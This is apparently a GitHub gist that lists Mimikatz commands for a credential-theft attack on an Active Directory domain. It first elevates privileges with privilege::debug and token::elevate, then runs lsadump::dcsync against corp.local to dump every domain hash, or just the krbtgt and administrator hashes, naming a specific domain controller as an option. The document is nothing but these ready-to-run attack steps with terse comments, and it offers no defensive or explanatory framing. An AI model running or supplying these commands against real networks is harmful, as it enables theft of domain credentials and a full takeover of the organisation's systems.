Skip to content

Instantly share code, notes, and snippets.

@justaguywhocodes
Created November 20, 2025 19:59
Show Gist options
  • Select an option

  • Save justaguywhocodes/e2481b82dd0850bd7269940ca9ec06cb to your computer and use it in GitHub Desktop.

Select an option

Save justaguywhocodes/e2481b82dd0850bd7269940ca9ec06cb to your computer and use it in GitHub Desktop.
# Elevate privileges
privilege::debug
token::elevate
# Full domain dump (all hashes)
lsadump::dcsync /domain:corp.local /all /csv
# Specific high-value accounts only
lsadump::dcsync /domain:corp.local /user:krbtgt
lsadump::dcsync /domain:corp.local /user:administrator
# With domain controller specified (optional but faster)
lsadump::dcsync /domain:corp.local /dc:dc01.corp.local /user:krbtgt
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment